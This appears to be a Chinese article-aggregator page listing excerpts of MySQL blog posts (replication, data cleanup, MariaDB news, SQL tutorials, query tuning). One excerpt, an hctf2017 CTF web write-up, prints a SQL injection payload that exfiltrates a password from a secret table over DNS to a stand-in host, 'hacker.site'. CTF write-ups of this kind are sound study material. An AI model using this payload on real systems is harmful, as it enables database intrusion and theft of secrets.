聚合文章列表
15 浏览

2017 11-12 MySQL应用3

一.半同步复制(1)半同步复制作用相比较于同步复制和异步复制来说,半同步复制的工作原理是当主库执行完客户端的提交的事务后并不是马上返还给客户端,而是要至少等待一个从库将事务接收到并将内容写入relay_log中。这样做的好处是提高了数据的安全性,但是也会造成一些延迟,所以半同步复制也主要应用在延迟较小的网络环境中(2)简单配置实现半同步复制首先准备两个虚拟机,一个作为主库,一个作为从库开启mysql数据库配置两台虚拟机为主从复制的关系主库上搜狗截图20171113211010.png从库上搜狗截图20171113211034.png在主库中设置grantreplicationclient,replicationslaveon.to'repluser'@'172.18.%.%'identifiedby'replpass';flushprivileges;搜狗截图20171113211708.png在主库上安装插件installpluginrpl_semi_sync_ma

MySQL 2017-11-14 发布
21 浏览

MySQL数据清理的需求分析和改进

昨天帮一个朋友看了MySQL数据清理的问题,感觉比较有意思,具体的实施这位朋友还在做,已经差不多了,我就发出来大家一起参考借鉴下。为了保证信息的敏感,里面的问题描述可能和真实情况不符,但是问题的处理方式是真实的。首先这位朋友在昨天下午反馈说他有一个表大小是近600G,现在需要清理数据,只保留近几个月的数据。按照这个量级,我发现这个问题应该不是很好解决,得非常谨慎才对。如果是通用的思路和方法,我建议是使用冷热数据分离的方式。大体有下面的几类玩法:exchangepartition,这是亮点的特性,可以把分区数据和表数据交换,效率还不错。renametable,这是MySQL归档数据的一大利器,在其他商业数据库里很难实现。但是为了保险起见,我说还是得看看表结构再说。结果看到表结构,我发现这个问题和我预想的完全不一样。这个表的ibd文件大概是600G,不是分区表,InnoDB存储引擎。字段看起来也不多。需要根据时间字段update_time抽取时间字段来删除数据。我看了下这个表结构,字段不多,除了索引的设计上有些冗余

MySQL 2017-11-15 发布
16 浏览

MariaDB 10.1.29 发布,MySQL 分支版本

MariaDB10.1.29发布了。MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可MariaDB的目的是完全兼容MySQL,包括API和命令行。主要更新MariabackupMDEV-14333Mariabackup--apply-log-onlycrashesifincompletetransactionswithupdate_undologsarepresentMDEV-12108FixbackupforInnodbtableswithDATADIRECTORYMDEV-13560mariabackup--copy-back:Copyallundotablespacefiles

MySQL 2017-11-15 发布
AD 友情赞助
11 浏览

Server 入门后端你要学什么

好久没有更新了,最近一个月在入门服务端的技术栈,所以快速学了一下java,ssm框架,这篇文章会将我的学习思路以及一些思考进行分享,如何将一个月的学习所得通过一篇文章进行梳理,这对我也是一个极大的挑战.技术选型对于Web服务端开发,有很多语言可供选择比如,php,java,.net,python等,之前我也试过使用node进行服务器的开发,但对于国内来说,java还是企业级的标配,所以我们来学习一下java还是很有必要的.java技术栈学习java服务端开发,我们需要掌握或了解以下技术栈,所谓万丈高楼平地起,基础知识还是有必要了解的.我们通过以下几步来了解下整个java所需的技术流程以及关系.java环境搭建,需要下载jdk并配置环境,这块请自行搜索,就和你下载Xcode是一个道理.java基础学习,如果你有其他语言基础,直接学习java特色的东西,比如包结构,静态,接口,注解,反射,注解和反射需要好好看看,ssm里面经常用,要知其所以然.servlet,filte

MySQL 2017-11-15 发布
14 浏览

【计算机本科补全计划】Mysql 学习小计

正文之前以后是要做大数据的人,如果连结构化的数据库都不会的话,那岂不是笑死人?所以果断靠着当年兴趣盎然的时候学的那点基础来复习一下,发现果然学过一遍再来复习那基本就是高中学一段内容看书与翻书的区别,当文字显现刹那,内心就浮出这个命令的用法与局限,很爽的有木有?正文Mysql连接(登录):[root@host]#mysql-uroot-pEnterpassword:******Mysql退出(断开连接):mysql>exitByeMysql创建数据库:[root@host]#mysqladmin-uroot-pcreatetestEnterpassword:******或者是登陆之后:createdatabasetestcreatedatabaseifnotexiststestDEFAULTCHARSETutf8COLLATEutf8_general_ci;逆推即可得到删除数据库:[root@host]#mysqladmin-uroot-pdroptestEnterp

MySQL 2017-11-15 发布
15 浏览

hctf2017 web writeup

时间过的真快,又一年的hctf结束了。记录一下自己做的两道web题。boringwebsite扫了一下得到www.zip。内容如下。根据题目的提示以及代码中的注释再加上一波google,我们可以得知mssql使用了linkserver来连接mysql,并且flag在mysql的数据库中。这里没有任何回显,且把mysql中的两个延时函数给ban了,似乎无法盲注。先说预期解,使用dns通道来外带数据(仅限于win)。居然没想到。我好菜啊.jpg?id=1unionselect*fromopenquery(mysql,'selectload_file(concat("\\\\",(selectpasswordfromsecret),".hacker.site\\a.txt"))')真的没办法盲注了吗?仔细看下面这段php代码。while(@$row=$stmt->fetch(PDO::FETCH_ASSOC)){//TODO:...//It'stimetosleep...}fetch

MySQL 2017-11-15 发布
AD 友情赞助
13 浏览

微软加入 MariaDB 基金会,Azure 将支持 MariaDB

微软在Connect开发者大会上宣布加入MariaDB基金会,而它的云服务Azure也将在不久之后加入对MariaDB数据库的完整支持。MariaDB是MySQL的一个分支,由原MySQL的主要贡献者创建。Sun在2008年收购MySQL,而它也在2009年被甲骨文收购Sun。社区出于对MySQL数据库未来的担忧而创建了分支MariaDB。为了确保MariaDB不会遭遇相同的命运,MariaDB基金会在2012年成立,其宗旨旨在确保项目始终由用户社区驱动。

MySQL 2017-11-16 发布
18 浏览

【计算机本科补全计划】Mysql 学习小计(2)

正文之前昨天下午写了篇Mysql学习小计,结果出乎意料的受欢迎?变相刺激了我多写点Mysql?好吧,如尔所愿。我晚上反正还不知道学点啥,就把今天看的那个菜鸟教程学完吧,到时候估计一点了,就可以睡了。正文Mysql排序selectfield1,field2,...fieldNtable_name1,table_name2orderbyfield1,[field2...][ASC[DESC]]你可以使用任何字段来作为排序的条件,从而返回排序后的查询结果。你可以设定多个字段来排序。你可以使用ASC或DESC关键字来设置查询结果是按升序或降序排列。默认情况下,它是按升序排列。你可以添加where...like子句来设置条件。Mysqlgroupby语句groupby语句根据一个或多个列对结果集进行分组。在分组的列上我们可以使用COUNT,SUM,AVG,等函数。selectcolumn_name,function(column_name)fromta

MySQL 2017-11-16 发布
14 浏览

mysql | 去重查询

今天在实际开发过程中遇到一个数据库去重查询的问题,在这里给大家分享一下。类似于上面这张数据表,我们发现id=5和id=6的数据passWord和userName数据是一样的。我们的需求是去掉重复的数据(passWord,userName)获得结果集,去重的条件就是根据passWord和userName两个字段。利用distinct我们知道,mysql提供了数据去重的方法,利用distinct关键字对需要处理的字段进行去重。我们来看一下效果。咦?不对啊,为什么只返回了需要去重处理的字段,而我们想要的结果是对所有字段的返回啊。为什么啊?所以我们来简单了解下distinct的用法。在实际应用中,distinct是用来返回非重复记录的条数,而不能返回非重复数据的结果集。这是因为使用distinct之后只能返回去重的字段,而不能返回其他的字段。这显然不是我们所需要的。既然distinct满足不了我们的需求,我们来换一种查询方式。利用groupby我们知道除了使用distinct关键字外还可以使用groupby关键字对去重数据进行去重

MySQL 2017-11-16 发布
AD 友情赞助
17 浏览

微软加入MariaDB基金会:Azure云平台将迎来该开源数据库

微软一年主要有两场面向开发者的大会,除了春季的Build大会之外,就是秋季的Connect开发者大会了。前者讨论过从Windows到Azure,以及从Office到HoloLens等方面的最新进展;后者则多与开源、数据库、以及云计算有关。在刚刚召开的Connect开发者大会的首日,该公司宣布了一个重磅消息——该公司正在加入负责监督MariaDB开源数据库开发的MariaDB基金会。

MySQL 2017-11-16 发布
14 浏览

从运维的角度分析使用阿里云数据库RDS的必要性--你不应该在阿里云上使用自建的MySQL/SQL Server/O...

开宗明义,你不应该在阿里云上使用自建的MySQLorSQLServer数据库,对了,还有OracleorPostgreSQL数据库。云数据库RDS(RelationalDatabaseService)是一种稳定可靠、可弹性伸缩的在线数据库服务。基于飞天分布式系统和全SSD盘高性能存储,支持MySQL、SQLServer、PostgreSQL和PPAS(高度兼容Oracle)引擎,默认部署主备架构且提供了容灾、备份、恢复、监控、迁移等方面的全套解决方案。当然,并不是指所有用户,这还是有条件的,包括但不限于以下两点:你的网站或项目发展到一定阶段,需要将数据库独立出来,不再和网站程序或应用程序放在一台ECS上;即便你有一个对数据库很了解的开发人员或运维人员,也不应该自建数据库,因为让开发专注做程序开发,让运维专注做运维自动化,这才是能让生产最大化的决策。还有个别情况是:你也许有一个小型的数据库技术团队,比如2、3个人,也不应该自建数据库,因为这通常需要维护整个基础架构,比如说网络负载均衡(管理交换机)、数据可靠性(磁盘ra

MySQL 2017-11-16 发布
13 浏览

mariaDB utf-8改编码到utf8mb

背景:设计的数据库默认使用utf-8编码,使用微信登录时,有用户使用Emoji表情,导致无法插入数据库,原因是Emoji是4个字节,而utf-8是3个字节。如何修改:先查看下编码:mysql>SHOWVARIABLESWHEREVariable_nameLIKE'character\_set\_%'ORVariable_nameLIKE'collation%';+--------------------------+-------------------+|Variable_name|Value|+--------------------------+-------------------+|character_set_client|utf8||character_set_connection|utf8||character_set_database

MySQL 2017-11-16 发布
AD 友情赞助
13 浏览

【计算机本科补全计划】Mysql 学习小计(3)

正文之前想到自己每天中午还要玩一小时手机,就自责不已,今天看成甲的好好学习一书,颇有收获,晚上写给大伙看,现在还是谢谢Mysql,到了后面感觉越来越难了呢!!正文Mysql事务Mysql事务主要用于处理操作量大,复杂度高的数据。比如说,在人员管理系统中,你删除一个人员,你即需要删除人员的基本资料,也要删除和该人员相关的信息,如信箱,文章等等,这样,这些数据库操作语句就构成一个事务!简单点说,事务就是你要进行的一系列操作。你每输入一条指令,就类似于是进行了一个事务。在###Mysql命令行的默认设置下,事务都是自动提交的,即执行SQL语句后就会马上执行COMMIT操作。因此要显式地开启一个事务务须使用命令begin或STARTTRANSACTION,或者执行命令setAUTOCOMMIT=0,用来禁止使用当前会话的自动提交。太过具体的内容暂时不说,说点平时用的上的。Mysql事务处理主要有两种方法:1、用begin,rollback,COMMIT来实现begin开始一个事务rollbac

MySQL 2017-11-16 发布
17 浏览

MySQL 5.7 CPU 抖动问题的不完全处理过程

问题我们内网有台机器,MySQL版本为:Serverversion:5.7.17-11PerconaServer(GPL),Release11,Revisionf60191c读写压力并不大,大概是每十分钟有个定时任务写入一定数量的数据:然而CPU抖动却非常频繁:上图还没有完全说明问题,因为我们的监控系统是30秒收集一次,上图是个两分钟的平均值展示。如果从top指令看,则是时不时地飚高到80%-90%甚至100%以上。按照以往的经验来看,十分钟一两兆这样的数据量写入,不至于会长期占用这么高的CPU。perftop执行perftop查看到如下情况:看到MySQL的几个函数占用了较高的CPU:buf_get_n_pending_read_ios()ut_time_ms()buf_flush_page_cleaner_coordinatorsrv_check_activity(unsignedlong,unsignedlong)查看代码,可以看到s

MySQL 2017-11-16 发布
18 浏览

MySQL--REPEATABLE-READ隔离级别下读取到的“重复数据”

在MySQL中,使用MVCC来实现REPEATABLE-READ隔离级别,由于SELECT操作不会对数据加锁,其他回话可以修改当前回话所读取过的数据而不会被阻塞,因此读写不冲突。在MVCC并发控制中,读操作可以分成两类:快照读(snapshotread)与当前读(currentread)。快照读,读取的是记录的可见版本(有可能是历史版本),不用加锁。当前读,读取的是记录的最新版本,并且,当前读返回的记录,都会加上锁,保证其他事务不会再并发修改这条记录。(抄自MySQL加锁处理分析)当事务中进行查询时,MySQL会把快照读和当前读的结果进行合并再返回给客户端,而这个合并可能导致一些奇特的结果。生成测试数据:droptabletb002;createtabletb002(idintprimarykey,c2int,uniqueindexuni_c2(c2));begin;insertintotb002(id,c2)select1,1;insertintotb002(id,c2)sele

MySQL 2017-11-16 发布
20 浏览

Spring Boot with Mysql

SpringBoot大大简化了持久化任务,几乎不需要写SQL语句,本文将会演示如何在SpringBoot项目中使用mysql数据库。建立数据库连接(databaseconnection)在上篇文章中我们新建了一个SpringBoot应用程序,添加了jdbc和data-jpa等starters,以及一个h2数据库依赖,这里我们将配置一个H2数据库。对于H2、HSQL或者Derby这类嵌入型数据库,只要在pom文件中添加对应的依赖就可以,不需要额外的配置。当springboot在classpath下发现某个数据库依赖存在且在代码中有关于DatasourceBean的定义时,就会自动创建一个数据库连接。我们通过修改之前的bookpub程序说明这个问题,需要修改StartupRunner.java文件,代码如下:packagesite.javadu.bookpub;importorg.slf4j.Logger;importorg.slf4j.LoggerFactory;importorg.springframe

MySQL 2017-11-16 发布
18 浏览

挨踢部落坐诊第十一期:三千万数据如何做到秒查

【51CTO.com原创稿件】活动说明:挨踢部落是为核心开发者提供深度技术交流,解决开发需求,资源共享的服务社群。基于此社群,我们邀请了业界技术大咖对开发需求进行一对一突破,解除开发过程中的绊脚石。以最专业、最高效的答复为开发者解决开发难题。话题关键词:Java/MySQL/服务器部落阵容:51CTO社群智囊团面向对象:Java开发工程师、开发工程师、PHP开发工程师、数据库开发工程师参与方式:加入51CTO开发者QQ交流群(114915964),有任何技术问题,在群里提问,或发给群主小官。活动详情:.net-james-江西:问一下,线上商城系统如何与线下erp进销存进行商品的库存价格同步?商品数据同步?有人做过这吗?Java+李赛+郑州:做个同步程序,之前我做过Java的Webservice同步。Android@鹏@广州:三千万的数据MySQL怎么优化达到秒查?有大神级的DBA不,大神请指教。electagent_product_level','pl','user_id

MySQL 2017-11-17 发布
18 浏览

Grafana+Prometheus系统监控之MySql

架构grafana和prometheus之前安装配置过,见:Grafana+Prometheus打造全方位立体监控系统MySql安装MySql的地位和重要性就不言而喻了,作为开源产品深受广大中小企业以及互联网企业喜爱,所以这里我们也有必要对其进行相应的监控。由于最近更换了CentOS7,这里对MySql重新安装一遍,顺便做个记录,CentOS7的yum源中默认好像是没有mysql的。为了解决这个问题,我们要先下载mysql的repo源。列出所有版本信息:lsb_release-a下载mysql的repo源:wgethttp://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm安装mysql-community-release-el7-5.noarch.rpm包:rpm-ivhmysql-community-release-el7-5.noarch.rpm安装mysql:yuminstallmysql-server-y修改权限,否则会报错:

MySQL 2017-11-17 发布
13 浏览

mysql数据库事务详细剖析

在写之前交代一下背景吧!做开发也好久了,没怎么整理过知识,现在剖析一下自己对数据库事务的认识,以前用sqlserver,现在转java后又用mysql、oracle。我这块就主要解释一下mysql数据库事务。其实好多内容适用于各种标准数据库!直接就进入正文了!不管是做啥都有理论知识,我在这块也介绍一下。事务的特性1.原子性(Atomicity):原子性是指事务是一个不可分割的工作单位,事务中的操作要么都发生,要么都不发生。2.一致性(Consistency):在一个事务中,事务前后数据的完整性必须保持一致,可以想象银行转账、火车购票。3.隔离性(Isolation):多个事务,事务的隔离性是指多个用户并发访问数据库时,一个用户的事务不能被其它用户的事务所干扰,多个并发事务之间数据要相互隔离。4.持久性(Durability):持久性是指一个事务一旦被提交,它对数据库中数据的改变就是永久性的,接下来即使数据库发生故障也不应该对其有任何影响。写这些概念呢,是有点绕!绕就绕吧!反正也不是我规定的,这是官方的,解释是我编的!

MySQL 2017-11-17 发布
19 浏览

MySQL分页查询优化

三次查询时间分别为:8903ms8323ms8401ms一般分页查询一般的分页查询使用简单的limit子句就可以实现。limit子句声明如下:SELECT*FROMtableLIMIT[offset,]rows|rowsOFFSEToffsetLIMIT子句可以被用于指定SELECT语句返回的记录数。需注意以下几点:第一个参数指定第一个返回记录行的偏移量第二个参数指定返回记录行的最大数目如果只给定一个参数:它表示返回最大的记录行数目第二个参数为-1表示检索从某一个偏移量到记录集的结束所有的记录行初始记录行的偏移量是0(而不是1)下面是一个应用实例:select*fromorders_historywheretype=8limit1000,100;该条语句将会从表orders_history中查询第1000条数据之后的10条数据,也就是第1001条到第10010条数据。数据表中的记录默认使用主键(一般为id)排序,上面的结果相当于:select*fromo

MySQL 2017-11-17 发布
AD 友情赞助